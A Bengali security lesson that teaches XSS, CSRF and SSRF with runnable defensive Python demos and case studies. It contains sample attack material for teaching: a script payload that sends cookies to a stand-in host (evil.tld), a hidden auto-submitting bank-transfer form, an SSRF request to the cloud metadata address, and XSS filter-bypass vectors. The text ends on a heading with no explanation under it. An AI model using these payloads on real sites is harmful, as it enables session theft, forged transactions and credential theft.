Foundationপ্রথম নীতি থেকে
LEVEL 10লেসন ১৬/২০কঠিন৫৫ মিনিট

XSS, CSRF, SSRF — সার্ভার যখন ভুল জিনিস বিশ্বাস করে

XSS, CSRF, and SSRF: When the Server Trusts the Wrong Thing

XSS, CSRF, আর SSRF — তিনটা আলাদা আক্রমণ মনে হলেও আসলে একই ভুলের তিনটা রূপ: সার্ভার (বা ব্রাউজার) কোনো না কোনো input-কে বিশ্বাস করে ফেলে যেটার ওপর করা উচিত ছিল না — user-এর দেওয়া HTML, ব্রাউজারের স্বয়ংক্রিয় cookie সংযুক্তি, অথবা attacker-এর দেওয়া URL।

এই লেসন শেষে আপনি পারবেন

  • XSS-এর তিনটা ধরন — stored, reflected, DOM-based — সংজ্ঞা ও ডেলিভারি-পথের পার্থক্য দিয়ে আলাদা করে ব্যাখ্যা করতে পারবেন, আর context-aware output encoding কীভাবে root cause বন্ধ করে তা কোড চালিয়ে প্রমাণ করতে পারবেন
  • Same-origin policy ঠিক কী রক্ষা করে আর XSS কীভাবে সেই boundary-র *ভেতরে* ঢুকেই আক্রমণ চালায় তা ব্যাখ্যা করতে পারবেন
  • Classic CSRF আক্রমণ (bank.com-এ logged-in ভিকটিম, attacker.com-এর auto-submit ফর্ম) ধাপে ধাপে trace করে, CSRF token আর SameSite cookie কীভাবে দুইটা স্বতন্ত্র স্তরে complementary defense হিসেবে কাজ করে তা কোড চালিয়ে দেখাতে পারবেন
  • SSRF আক্রমণে সার্ভার নিজেই কীভাবে attacker-এর হয়ে internal network বা cloud metadata endpoint-এ request পাঠিয়ে দেয় তা ব্যাখ্যা করতে পারবেন, আর allowlist + IP-range guard দিয়ে বাস্তব mitigation ডিজাইন করতে পারবেন
  • তিনটা আক্রমণকেই এক থিমের তিনটা রূপ — 'সার্ভার এমন কিছু বিশ্বাস করেছে যা করা উচিত ছিল না' — হিসেবে চিনে, একটা নতুন system design-এ কোন input কোথায় অবিশ্বাস্য থাকা উচিত তা identify করতে পারবেন

আগে যা বোঝা থাকা দরকার

আগে এটা বুঝি

আগের কয়েকটা লেসনে hash function আর AES-এর মতো যন্ত্র দেখা হয়েছে — সেখানে প্রশ্নটা ছিল “গণিতটা কতটা শক্ত”। আজকের তিনটা আক্রমণ — XSS, CSRF, SSRF — সম্পূর্ণ ভিন্ন প্রজাতির সমস্যা। এখানে cipher ভাঙা লাগে না, key brute-force করা লাগে না। এখানে সার্ভার (বা ব্রাউজার) নিজেই, সম্পূর্ণ সঠিক code চালিয়ে, এমন একটা কাজ করে বসে যেটা তার করার কথা ছিল না — কারণ সে কাউকে বা কিছুকে ভুল করে বিশ্বাস করে ফেলেছে।

তিনটা নাম আলাদা শোনায়, তিনটা আলাদা defense checklist মনে হয়, কিন্তু গভীরে গেলে একটাই বাক্য তিনটাকেই ব্যাখ্যা করে:

সার্ভার (বা ব্রাউজার) এমন কিছু trust করেছে যা করা উচিত ছিল না —
  - XSS-এ:  ব্রাউজার user-এর দেওয়া টেক্সটকে "code" হিসেবে চালিয়েছে
  - CSRF-এ: সার্ভার একটা request-কে "ইচ্ছাকৃত" ধরে নিয়েছে, শুধু cookie
            সংযুক্ত ছিল দেখে
  - SSRF-এ: সার্ভার নিজেই একটা attacker-দেওয়া URL-কে "নিরাপদ destination"
            ধরে নিয়ে সেখানে request পাঠিয়েছে

আজকের লক্ষ্য প্রতিটা আক্রমণের mechanics আলাদা করে বোঝা, কিন্তু একই সাথে এই অভিন্ন থিমটা মনে রাখা — কারণ বাস্তব security review-তে ঠিক এই প্রশ্নটাই বারবার জিজ্ঞেস করতে হয়: এই input-টা এলো কোথা থেকে, আর এটাকে বিশ্বাস করার আগে কে, কীভাবে যাচাই করল?

মূল ধারণা

তিনটা আক্রমণ, একটা টেবিলে

প্রতিটা আক্রমণের সংজ্ঞা এক লাইনে লেখা যায়, কিন্তু আসল পার্থক্য বোঝা যায় “কী ভুলভাবে trust করা হলো” আর “কে ভিকটিম” — এই দুই প্রশ্নের উত্তরে:

আক্রমণকে ভুলভাবে trust করেকী trust করা হয়ভিকটিম কে
XSS (Cross-Site Scripting)ব্রাউজারuser-input-কে render করা HTML-এর ভেতরে “শুধু টেক্সট, কোনো code না” ধরে নেওয়া হয়website-এর অন্য user (browser-এ কোড চলে)
CSRF (Cross-Site Request Forgery)সার্ভার“cookie সংযুক্ত আছে মানে user ইচ্ছাকৃতভাবে এই request পাঠিয়েছে” ধরে নেওয়া হয়logged-in user, যার session hijack হয় না কিন্তু ব্যবহার হয়
SSRF (Server-Side Request Forgery)সার্ভার“user-দেওয়া URL মানেই একটা নিরাপদ, বাইরের destination” ধরে নেওয়া হয়সার্ভার নিজে (বা তার পেছনের internal network)

লক্ষ্য করুন — XSS-এ আক্রান্ত হয় ব্রাউজার, বাকি দুইটায় আক্রান্ত হয় সার্ভার। এই একটা পার্থক্যই ঠিক করে দেয় defense কোথায় বসবে: XSS-এর প্রতিরক্ষা মূলত output-এর সময় (server response বানানোর মুহূর্তে), CSRF-এর প্রতিরক্ষা request-গ্রহণের সময় (server-side validation), SSRF-এর প্রতিরক্ষা outbound-request পাঠানোর সময় (সার্ভার নিজেই যখন client হয়ে যায়)।

Same-origin policy — যে boundary-টা XSS ভাঙে

ব্রাউজারের সবচেয়ে মৌলিক নিরাপত্তা-নিয়ম হলো same-origin policy: bank.com-এর একটা ট্যাবে চলা JavaScript evil.tld-এর ডেটা পড়তে পারবে না, আর উল্টোটাও না — origin (scheme + host + port) মিলতে হবে। এই নিয়মটাই কারণ কেন attacker সরাসরি bank.com-এর ভেতরে ঢুকে script চালাতে পারে না — তাকে অন্য কোনো পথ খুঁজতে হয়।

XSS ঠিক সেই পথটাই খুঁজে পায় — same-origin policy-কে ভাঙে না, বরং তার ভেতরেই ঢুকে পড়ে। যদি attacker কোনোভাবে তার নিজের script-কে bank.com-এর নিজের পাতায় inject করাতে পারে, ব্রাউজারের চোখে সেই script bank.com origin-থেকেই এসেছে বলে গণ্য হয় — same-origin policy তখন attacker-কেই সাহায্য করে, bank.com-এর cookie, DOM, localStorage সবকিছুতে বৈধ প্রবেশাধিকার দিয়ে দেয়। পরের অংশে ঠিক এই “ভেতরে ঢোকা”-র mechanics দেখব।

ভেতরে কী ঘটছে

XSS-এর ভেতরে — কোথায় inject হয়, কীভাবে বন্ধ হয়

XSS-এর তিনটা রূপের পার্থক্য শুধু payload কোথা থেকে আসে আর কতক্ষণ থাকে তাতে:

Reflected XSS। Payload আসে request থেকেই — সাধারণত URL query-parameter — আর সার্ভার সেটা সরাসরি response-এ echo করে দেয়, কোনো storage ছাড়াই। Victim-কে একটা বিশেষ link click করাতে হয় (phishing email, forum post), তাই আক্রমণের পরিধি সীমিত — এক victim, এক click।

Stored XSS। Payload একবার database-এ save হয়ে যায় (কমেন্ট, প্রোফাইল bio, প্রোডাক্ট রিভিউ) — এরপর সেই পাতা যে-ই দেখুক, payload তার ব্রাউজারে চলে। কোনো special link লাগে না, তাই পরিধি অনেক বড় — একবার inject, সব viewer আক্রান্ত। ২০০৫-এর Samy worm (নিচে realworld-এ) এই রূপেরই একটা চূড়ান্ত উদাহরণ।

DOM-based XSS। প্রথম দুইটাতে সার্ভার নিজে response বানানোর সময় payload বসিয়ে দেয়। DOM-based XSS-এ সার্ভার নির্দোষ থাকতে পারে — সমস্যাটা client-side JavaScript-এ, যখন কোনো script URL fragment (location.hash) বা অন্য browser-controlled ডেটা সরাসরি innerHTML-এ বসিয়ে দেয়, সার্ভার সেই ডেটা কখনো দেখেও না। তিনটারই মূল কারণ অভিন্ন — user-controlled ডেটা এমন কোনো জায়গায় বসছে যেখানে ব্রাউজার সেটাকে markup/code হিসেবে পড়বে।

নিচের কোডটা reflected/stored উভয় রূপের root cause আসলেই চালিয়ে দেখায় — একটা naive template function আর তার fix:

# xss_encoding.py — naive HTML templating বনাম context-aware encoding
import html

def naive_render(comment):
    return f"<div class='comment'>{comment}</div>"

def safe_render(comment):
    return f"<div class='comment'>{html.escape(comment)}</div>"

payload = "<script>fetch('https://evil.tld/steal?c='+document.cookie)</script>"

print("naive_render output:")
print(naive_render(payload))
print()
print("safe_render output:")
print(safe_render(payload))

print()
print(f"payload literally present in naive output : {payload in naive_render(payload)}")
print(f"payload literally present in safe output   : {payload in safe_render(payload)}")

প্রত্যাশিত output (deterministic — হুবহু এটাই আসবে):

naive_render output:
<div class='comment'><script>fetch('https://evil.tld/steal?c='+document.cookie)</script></div>

safe_render output:
<div class='comment'>&lt;script&gt;fetch(&#x27;https://evil.tld/steal?c=&#x27;+document.cookie)&lt;/script&gt;</div>

payload literally present in naive output : True
payload literally present in safe output   : False

naive_render-এর output ব্রাউজারে পাঠালে <script> ট্যাগ আক্ষরিক অর্থেই একটা script ট্যাগ হয়ে যায় — ব্রাউজার তো জানে না এই টেক্সটটা “user-এর কমেন্ট” নাকি “developer-এর লেখা markup”, সে শুধু HTML parse করে। safe_render ঠিক একই স্ট্রিং নিয়ে <, >, &, ' কে entity-তে বদলে দেয় — ফলাফল ব্রাউজারের চোখে নিরীহ টেক্সট, payload in ... চেক-এই সেটা False হয়ে প্রমাণ হয়ে যাচ্ছে: raw payload আর output-এ নেই, শুধু তার escaped রূপ আছে।

CSP — defense-in-depth, root-cause fix নয়

Output encoding সঠিকভাবে করলে XSS-এর root cause বন্ধ হয়ে যায় — কিন্তু বড় codebase-এ প্রতিটা output-পয়েন্টে ভুল না হওয়ার নিশ্চয়তা কঠিন। Content Security Policy (CSP) একটা HTTP response header যা ব্রাউজারকে বলে দেয় কোন উৎস থেকে script/style/image লোড করা বৈধ:

Content-Security-Policy: script-src 'self' https://trusted-cdn.example

এই policy থাকলে, encoding ভুল হয়ে কোনো <script> payload যদি DOM-এ ঢুকেও যায়, ব্রাউজার সেটা চালাবে না — কারণ inline script কোনো 'self' বা trusted উৎস থেকে আসেনি। CSP তাই একটা backstop, প্রথম defense নয় — output encoding-কে প্রতিস্থাপন করে না, বরং সেটা কোথাও ফাঁক রেখে দিলে সেই ফাঁকের ক্ষতি সীমিত করে।

উদাহরণ

CSRF-এর ক্লাসিক গল্প — logged-in থাকাটাই যথেষ্ট

ধরুন Alice bank.com-এ login করা আছে, তার ব্রাউজারে একটা valid session cookie বসে আছে। অন্য একটা ট্যাবে সে ভিজিট করে attacker.com — একটা নিরীহ দেখতে ব্লগ পোস্ট। সেই পাতায় লুকানো একটা HTML ফর্ম আছে:

<form action="https://bank.com/transfer" method="POST" id="evil-form">
  <input type="hidden" name="to_account" value="attacker-0091">
  <input type="hidden" name="amount" value="50000">
</form>
<script>document.getElementById('evil-form').submit()</script>

পাতা লোড হওয়ার সাথে সাথে script ফর্মটা automatically submit করে দেয় — Alice কিছু click করেনি, কিছু দেখেনি। ব্রাউজার এই POST request bank.com-এ পাঠানোর সময় একটা গুরুত্বপূর্ণ কাজ করে: bank.com-এর জন্য যে cookie Alice-এর ব্রাউজারে সংরক্ষিত আছে, সেটা স্বয়ংক্রিয়ভাবে সংযুক্ত করে দেয় — এই request কোথা থেকে trigger হলো তা cookie-attachment-এর শর্ত না, শুধু destination domain মিললেই ব্রাউজার cookie পাঠিয়ে দেয়।

bank.com-এর সার্ভার তখন দেখে: valid session cookie, valid user, valid request format — সবকিছু ঠিকঠাক দেখতে। কিন্তু সার্ভার একটা প্রশ্নের উত্তর কখনো পায়নি: এই request কি সত্যিই Alice ইচ্ছাকৃতভাবে পাঠিয়েছে, নাকি অন্য কোনো পাতা তার হয়ে পাঠিয়ে দিয়েছে? এটাই CSRF-এর পুরো গল্প — attacker Alice-এর session চুরি করেনি (সেটা session hijacking, ভিন্ন আক্রমণ), শুধু Alice-এর ইতিমধ্যে-authenticated ব্রাউজারকে একটা টুল হিসেবে ব্যবহার করেছে।

দুইটা complementary defense আছে, দুইটাই ভিন্ন স্তরে কাজ করে:

Defenseকাজ করে কোন স্তরেকী আটকায়
CSRF tokenapplication-লজিকফর্মের সাথে একটা random, session-bound, secret token পাঠাতে হয় — attacker-এর পাতা সেই token জানে না, তাই বানাতে পারে না
SameSite cookieব্রাউজার-লজিকcross-site request-এর সাথে cookie-ই সংযুক্ত না হওয়া — token-check-এর আগেই attack থামিয়ে দেয়

দুইটা আলাদা কারণে দরকার: CSRF token যদি কোনো code-path-এ ভুলে বাদ পড়ে যায় (নতুন endpoint, legacy route), SameSite এখনও রক্ষা করে। উল্টোটাও — কোনো পুরনো ব্রাউজার SameSite সমর্থন না করলে, CSRF token তখনও কাজ করে। Build অংশে দুইটাই আসলেই চালিয়ে এই layered প্রতিরক্ষা দেখানো হবে।

ছবিতে

Reflected XSS:
  attacker link (payload URL-এ) --> victim click --> server echoes payload
  --> victim browser renders response --> script চলে (victim-এর origin-এ)

Stored XSS:
  attacker submit (payload DB-তে save) --> ... সময় পার হয় ... -->
  যেকোনো viewer পাতা লোড করে --> server payload সহ page পাঠায়
  --> viewer browser renders --> script চলে (প্রতিটা viewer-এর browser-এ)

DOM-based XSS:
  attacker link (payload URL fragment-এ, #hash) --> victim click -->
  server response-এ payload কখনো নেইই (fragment server-এ যায় না)
  --> client-side JS location.hash পড়ে innerHTML-এ বসায় --> script চলে
XSS — payload কোথায় ঢোকে, কোথায় চলে। Reflected/stored-এ সার্ভার নিজেই payload বসায়; DOM-based-এ সার্ভার নির্দোষ, client-side JS-ই দোষী।
Alice-এর browser:  [bank.com session cookie]  [attacker.com ট্যাব খোলা]

attacker.com পাতা লোড হয়
  --> hidden <form action="bank.com/transfer"> auto-submit
  --> browser dest দেখে "bank.com", cookie জোড়া লাগিয়ে দেয় (attacker জানেও না!)
  --> bank.com দেখে: valid cookie + valid session --> "Alice-ই তো পাঠাল" ধরে নেয়
  --> transfer executed, Alice কিছুই টের পায়নি
CSRF — cookie স্বয়ংক্রিয়ভাবে সংযুক্ত হয় বলে attacker.com-এর ফর্মও bank.com-এর চোখে 'authenticated' দেখায়।
Attacker (বাইরে থেকে) --> public API: "fetch this image: url=http://169.254.169.254/latest/meta-data/"
  --> server নিজেই সেই URL-এ request পাঠায় (server internal network-এর ভেতরে আছে!)
  --> internal-only endpoint response দেয় (বাইরে থেকে সরাসরি পৌঁছানো যেত না)
  --> server সেই response attacker-কে ফেরত পাঠায় (image হিসেবে দেখাতে গিয়ে)
  --> attacker আসলে পেল credential/internal data, image না
SSRF — attacker সরাসরি internal network-এ পৌঁছাতে পারে না, কিন্তু সার্ভারকে proxy বানিয়ে দেয়।

নিজে চালিয়ে দেখুন

EXPERIMENT

SSRF — allowlist-ছাড়া fetch বনাম allowlist + IP-range guard

macOS / Linux / Windows (Python 3, শুধু standard library)· ১৫ মিনিট
# ssrf_check.py — vulnerable fetch pattern বনাম allowlist + IP-range guard
import ipaddress

BLOCKED_NETWORKS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),   # link-local — cloud metadata IP এখানেই পড়ে
]

ALLOWED_HOSTS = {"api.partner-service.com", "images.cdn-example.com"}

def resolve(hostname_or_ip):
    # demo সুবিধার্থে একটা ছোট fake-DNS — বাস্তবে socket.gethostbyname()
    fake_dns = {
        "api.partner-service.com": "203.0.113.10",
        "images.cdn-example.com": "203.0.113.20",
        "metadata.internal": "169.254.169.254",
        "localhost": "127.0.0.1",
        "internal-admin.local": "10.0.5.7",
    }
    return fake_dns.get(hostname_or_ip, hostname_or_ip)

def vulnerable_fetch(url_host):
    # bug: শুধু হোস্টনেম নিয়ে সরাসরি "fetch" করে — কোনো validation নেই
    ip = resolve(url_host)
    return f"[VULNERABLE] fetching {url_host} -> {ip} ... request sent, no check performed"

def safe_fetch(url_host):
    if url_host not in ALLOWED_HOSTS:
        return f"[BLOCKED] host not in allowlist: {url_host}"
    ip = resolve(url_host)
    addr = ipaddress.ip_address(ip)
    for net in BLOCKED_NETWORKS:
        if addr in net:
            return f"[BLOCKED] {url_host} resolves to {ip} inside blocked range {net}"
    return f"[ALLOWED] fetching {url_host} -> {ip} ... request sent"

targets = [
    "api.partner-service.com",     # legit
    "metadata.internal",           # attacker-supplied, cloud metadata IP
    "localhost",                   # attacker-supplied, loopback
    "internal-admin.local",        # attacker-supplied, internal RFC1918
]

print("-- vulnerable_fetch (no validation, attacker controls the URL) --")
for t in targets:
    print(vulnerable_fetch(t))

print()
print("-- safe_fetch (allowlist + IP-range guard) --")
for t in targets:
    print(safe_fetch(t))

প্রত্যাশিত output (deterministic — হুবহু এটাই আসবে):

-- vulnerable_fetch (no validation, attacker controls the URL) --
[VULNERABLE] fetching api.partner-service.com -> 203.0.113.10 ... request sent, no check performed
[VULNERABLE] fetching metadata.internal -> 169.254.169.254 ... request sent, no check performed
[VULNERABLE] fetching localhost -> 127.0.0.1 ... request sent, no check performed
[VULNERABLE] fetching internal-admin.local -> 10.0.5.7 ... request sent, no check performed

-- safe_fetch (allowlist + IP-range guard) --
[ALLOWED] fetching api.partner-service.com -> 203.0.113.10 ... request sent
[BLOCKED] host not in allowlist: metadata.internal
[BLOCKED] host not in allowlist: localhost
[BLOCKED] host not in allowlist: internal-admin.local

vulnerable_fetch-এ চারটা target-ই একই আচরণ পেল — সার্ভার কোনো প্রশ্নই করল না, 169.254.169.254 (cloud metadata range) হোক বা 10.0.5.7 (internal admin panel), সবটাতেই request পাঠিয়ে দিল। safe_fetch-এ প্রথম চেক allowlist — metadata.internal আর localhost আর internal-admin.local তিনটাই allowlist-এ নেই বলেই immediately block, resolve করারও দরকার পড়েনি। লক্ষ্য করুন internal-admin.local কোনোভাবে allowlist-এ ঢুকে গেলেও IP-range guard দ্বিতীয় স্তর হিসেবে সেটাকে 10.0.0.0/8-এর ভেতরে ধরে ফেলত — এই দুই স্তরের guard-ই বাস্তব production system-এ recommend করা হয়, শুধু একটা না।

এটা কী প্রমাণ করে

হোস্টনেম-ভিত্তিক validation ছাড়া একটা 'fetch this URL' ফিচার সরাসরি cloud-metadata IP (169.254.169.254) আর internal RFC1918 ঠিকানায় পৌঁছে যায় — কোনো ত্রুটি ছাড়াই। Allowlist + resolved-IP-range guard যোগ করলেই ঠিক সেই একই request-গুলো block হয়ে যায়, legit destination অক্ষত থাকে।

নিজে বানান

BUILD IT

CSRF Defense Simulator — token আর SameSite, দুই স্তরের প্রতিরক্ষা

Python · ●●●○○
  1. session-bound CSRF token generator লিখুন — HMAC(server-secret, session_id), যাতে attacker session_id জানলেও token বানাতে না পারে
  2. একটা Cookie ক্লাস লিখুন যেটা SameSite নীতি (None/Lax/Strict) অনুযায়ী ঠিক করে কোন request-এ cookie সংযুক্ত হবে
  3. সিনারিও ১: কোনো ডিফেন্স নেই — cross-site forged form-এর attack সফল হয় তা দেখান
  4. সিনারিও ২: শুধু CSRF token — attacker token ছাড়া blocked হয়, কিন্তু legit request পাস করে তা দেখান
  5. সিনারিও ৩: শুধু SameSite=Lax — cross-site POST-এ cookie-ই না পৌঁছানো (token-check-এর আগেই আক্রমণ থামা) দেখান
  6. সিনারিও ৪: দুইটা একসাথে (production recommendation) — attacker blocked, legit user unaffected, দুই স্তরেই প্রমাণ করুন

লক্ষ্য: CSRF token আর SameSite cookie আলাদা আলাদা কী আটকায় আর একসাথে কেন বেশি শক্তিশালী — এই দুইটা প্রশ্নের উত্তর কোডে চালিয়ে দেখা, শুধু prose-এ পড়া নয়।

# csrf_defense.py — CSRF token + SameSite cookie, একসাথে defense-in-depth
import hashlib, hmac

SERVER_SECRET = b"server-only-secret-signing-key!!"

def issue_csrf_token(session_id):
    # session-bound token — HMAC(secret, session_id), attacker session_id জানলেও secret ছাড়া token বানাতে পারবে না
    return hmac.new(SERVER_SECRET, session_id.encode(), hashlib.sha256).hexdigest()

class Cookie:
    def __init__(self, session_id, samesite):
        self.session_id = session_id
        self.samesite = samesite   # 'None' | 'Lax' | 'Strict'

    def sent_on_request(self, request_is_cross_site, method):
        if self.samesite == "None":
            return True
        if self.samesite == "Strict":
            return not request_is_cross_site
        # Lax: cross-site-তেও পাঠায় শুধু top-level GET navigation-এ (form auto-submit POST-এ না)
        if self.samesite == "Lax":
            if not request_is_cross_site:
                return True
            return method == "GET"
        return False

def handle_transfer(cookie, form_csrf_token, request_is_cross_site, method="POST"):
    if not cookie.sent_on_request(request_is_cross_site, method):
        return "REJECTED: কোনো session cookie-ই পৌঁছালো না ব্রাউজার (SameSite) — request unauthenticated"
    expected = issue_csrf_token(cookie.session_id)
    if form_csrf_token != expected:
        return "REJECTED: CSRF token ভুল/অনুপস্থিত — request authenticated কিন্তু untrusted origin থেকে"
    return "ACCEPTED: session valid + token valid -> transfer executed"

session_id = "victim-session-abc123"
victim_token = issue_csrf_token(session_id)

print("-- সিনারিও ১: কোনো ডিফেন্স নেই (SameSite=None, কোনো CSRF token check নেই) --")
cookie_none = Cookie(session_id, samesite="None")
print("cross-site forged form, attacker token জানে না, token check বন্ধ:",
      "ACCEPTED (attack succeeds!)" if cookie_none.sent_on_request(True, "POST") else "REJECTED")

print()
print("-- সিনারিও ২: শুধু CSRF token চালু, SameSite=None --")
print("attacker cross-site form (token নেই):",
      handle_transfer(cookie_none, form_csrf_token="", request_is_cross_site=True))
print("legit same-site form (token আছে):     ",
      handle_transfer(cookie_none, form_csrf_token=victim_token, request_is_cross_site=False))

print()
print("-- সিনারিও ৩: শুধু SameSite=Lax, কোনো CSRF token check নেই --")
cookie_lax = Cookie(session_id, samesite="Lax")
print("attacker cross-site POST form:",
      "cookie sent? " + str(cookie_lax.sent_on_request(True, "POST")))
print("attacker cross-site GET (top-level link click):",
      "cookie sent? " + str(cookie_lax.sent_on_request(True, "GET")))

print()
print("-- সিনারিও ৪: দুইটাই একসাথে — SameSite=Lax + CSRF token (production recommendation) --")
print("attacker cross-site POST form (token নেই, cookie-ই পৌঁছাবে না):",
      handle_transfer(cookie_lax, form_csrf_token="", request_is_cross_site=True))
print("legit same-site form (cookie + token দুই-ই ঠিক):              ",
      handle_transfer(cookie_lax, form_csrf_token=victim_token, request_is_cross_site=False))

প্রত্যাশিত output (deterministic — হুবহু এটাই আসবে):

-- সিনারিও ১: কোনো ডিফেন্স নেই (SameSite=None, কোনো CSRF token check নেই) --
cross-site forged form, attacker token জানে না, token check বন্ধ: ACCEPTED (attack succeeds!)

-- সিনারিও ২: শুধু CSRF token চালু, SameSite=None --
attacker cross-site form (token নেই): REJECTED: CSRF token ভুল/অনুপস্থিত — request authenticated কিন্তু untrusted origin থেকে
legit same-site form (token আছে):      ACCEPTED: session valid + token valid -> transfer executed

-- সিনারিও ৩: শুধু SameSite=Lax, কোনো CSRF token check নেই --
attacker cross-site POST form: cookie sent? False
attacker cross-site GET (top-level link click): cookie sent? True

-- সিনারিও ৪: দুইটাই একসাথে — SameSite=Lax + CSRF token (production recommendation) --
attacker cross-site POST form (token নেই, cookie-ই পৌঁছাবে না): REJECTED: কোনো session cookie-ই পৌঁছালো না ব্রাউজার (SameSite) — request unauthenticated
legit same-site form (cookie + token দুই-ই ঠিক):               ACCEPTED: session valid + token valid -> transfer executed

চারটা সিনারিওর গল্প: সিনারিও ১-এ কিছুই আটকায়নি — ACCEPTED (attack succeeds!)। সিনারিও ২-এ token-ই একমাত্র রক্ষক, আর সেটা কাজ করেছে — কিন্তু লক্ষ্য করুন cookie তখনও cross-site request-এ পৌঁছে গিয়েছিল (SameSite=None), শুধু token-mismatch আটকাল। সিনারিও ৩ সবচেয়ে interesting — cross-site POST-এ cookie-ই পৌঁছায়নি (False), অথচ cross-site GET-এ পৌঁছেছে (True) — এটাই Lax-এর সংজ্ঞা: top-level navigation link-এ cookie পাঠানো (যাতে normal cross-site link-click কাজ করে) কিন্তু hidden auto-submit form-এর মতো POST-এ না। সিনারিও ৪-এ attacker-এর request token-check পর্যন্ত পৌঁছানোরই সুযোগ পায়নি — cookie নিজেই আসেনি — অথচ legit same-site user-এর জন্য কিছুই বদলায়নি।

নিজে বাড়ান:

  1. Cookie.sent_on_request-এ SameSite=Strict দিয়ে চারটা সিনারিও আবার চালান — কোন বাস্তব use-case-এ Strict ব্যবহারকারীর নিজের জন্যই অসুবিধাজনক হতে পারে (ইঙ্গিত: bank.com-এর লিংক অন্য সাইট থেকে click করলে)?
  2. issue_csrf_token-এ session_id-এর বদলে যদি constant string ব্যবহার করা হতো (সব user-এর জন্য একই token), attacker-এর জন্য কী সহজ হয়ে যেত?
  3. handle_transfer-এ GET-based transfer endpoint (/transfer?to=X&amount=Y) ব্যবহার করলে SameSite=Lax-এর “top-level GET” ব্যতিক্রমটাই কি একটা নতুন ফাঁক খুলে দেয়? যুক্তি দিন কেন state-changing অপারেশন কখনো GET-এ হওয়া উচিত না।

বাস্তব সিস্টেমে

বাস্তব জগতে XSS, CSRF, SSRF

Samy worm (২০০৫) — stored XSS-এর সবচেয়ে বিখ্যাত demonstration। MySpace-এ Samy Kamkar একটা profile bio-তে stored XSS payload বসান, যেটা প্রতিটা viewer-কে নিজের profile-এ Samy-কে “friend” বানিয়ে দিত, আর একই payload-টা নিজের প্রোফাইলেও কপি করে দিত — self-propagating। কয়েক ঘণ্টার মধ্যে দশ লক্ষের বেশি profile সংক্রমিত হয়, MySpace-কে পুরো সাইট temporarily বন্ধ করতে হয়েছিল। এই ঘটনাই দেখায় stored XSS-এর পরিধি কেন reflected XSS-এর চেয়ে বিপজ্জনক — একবার inject, কোনো social-engineering ছাড়াই স্বয়ংক্রিয় বিস্তার।

Capital One breach (২০১৯) — SSRF দিয়ে cloud metadata credential চুরি। একজন attacker (প্রাক্তন AWS কর্মী) Capital One-এর একটা misconfigured Web Application Firewall-এর মধ্য দিয়ে SSRF আক্রমণ চালিয়ে সার্ভারকে বাধ্য করেন 169.254.169.254-এ (AWS EC2 instance metadata endpoint) request পাঠাতে। সেই endpoint থেকে temporary IAM credential ফেরত আসে — যেই credential দিয়ে attacker সরাসরি S3 bucket-এ access পেয়ে যান, ফলাফল ১০ কোটির বেশি গ্রাহকের ডেটা (নাম, ঠিকানা, credit score, কিছু social security number) চুরি। এই ঘটনাই SSRF-কে “শুধু তাত্ত্বিক ঝুঁকি” থেকে “cloud infrastructure-এর সবচেয়ে গুরুতর আক্রমণ-শ্রেণি”-তে রূপান্তরিত করে — কারণ cloud metadata endpoint-এ প্রায়ই এমন credential থাকে যা পুরো account-এর সমতুল্য ক্ষমতা দেয়। এরপর থেকে AWS IMDSv2 চালু করে, যেটা metadata request-এ একটা session token বাধ্যতামূলক করে দেয় — সাধারণ SSRF (যা শুধু GET request forward করতে পারে) সেই token পাওয়ার জন্য দরকারি PUT request পাঠাতে পারে না, তাই এই নির্দিষ্ট আক্রমণ-পথ অনেকটা বন্ধ হয়ে যায়।

CSRF-এর পুরনো দিনের উদাহরণ — home router reconfiguration। ২০০০-এর দশকের শেষে অনেক home router-এর admin panel-এ কোনো CSRF token ছিল না — একটা malicious ওয়েবসাইট ভিজিট করলেই (router-এর default IP-তে, যেটা predictable) সেই router-এর DNS setting বদলে দেওয়া যেত, attacker-নিয়ন্ত্রিত DNS server-এর দিকে পুরো home network redirect করে দিয়ে। এই ক্লাস-অফ-attack-ই CSRF token-কে web framework-এর default feature বানিয়ে দিয়েছে (Django, Rails, ASP.NET সবগুলোতেই built-in)।

যে ভুলগুলো সবাই করে

“XSS ঠেকাতে user-input থেকে শুধু <script> ট্যাগ strip করে দিলেই যথেষ্ট।”

Blocklist-ভিত্তিক filtering (নির্দিষ্ট ট্যাগ/শব্দ বাদ দেওয়া) প্রায় সবসময় bypass করা যায় — <img src=x onerror="...">, <svg onload="...">, javascript: URL scheme, encoded payload — attacker-এর কাছে অসংখ্য বিকল্প আছে যেগুলোতে script শব্দটাই নেই। Hood অংশের সমাধান তাই blocklist না, output encoding — সমস্যাটাকে “কোন শব্দ বিপজ্জনক” থেকে “context অনুযায়ী সবকিছুকে টেক্সট হিসেবে রেন্ডার করা” প্রশ্নে রূপান্তর করে, তাই নতুন কোনো bypass-technique আবিষ্কার হলেও fix অক্ষত থাকে।

“CSRF token থাকলে SameSite cookie সেট করার দরকার নেই, বা উল্টোটা।”

Build অংশের সিনারিও ২ আর ৩ আলাদাভাবে দেখাল দুইটা defense আলাদা ফাঁক বন্ধ করে — token বাদ পড়া endpoint-এ SameSite তখনও রক্ষা করে, আর পুরনো ব্রাউজার যেখানে SameSite সমর্থিত না, সেখানে token তখনও কাজ করে। OWASP-এর সুপারিশ স্পষ্ট: দুইটা একসাথে defense-in-depth — একটা “backup” না, দুইটাই primary, কারণ দুইটা ভিন্ন failure-mode কভার করে।

“SSRF শুধু তখনই বিপজ্জনক যখন attacker সরাসরি সার্ভারের response দেখতে পায়।”

“Blind SSRF”-এও (যেখানে attacker response দেখতে পায় না, শুধু request পাঠানো হয়েছে কিনা বোঝা যায়) গুরুতর ক্ষতি সম্ভব — timing দিয়ে internal port-scan করা, internal API-তে state-changing request পাঠানো (যেমন কোনো internal admin endpoint-এ POST), অথবা DNS-based exfiltration। Capital One-এর case-এ response দেখা গিয়েছিল বলেই বিপর্যয়টা এত বড় ও স্পষ্ট হয়েছিল, কিন্তু response না দেখা গেলেও SSRF থামিয়ে দেওয়ার কারণ কমে না।

“Allowlist-এ শুধু hostname চেক করলেই SSRF ঠেকানো যথেষ্ট, IP আলাদা করে চেক করার দরকার নেই।”

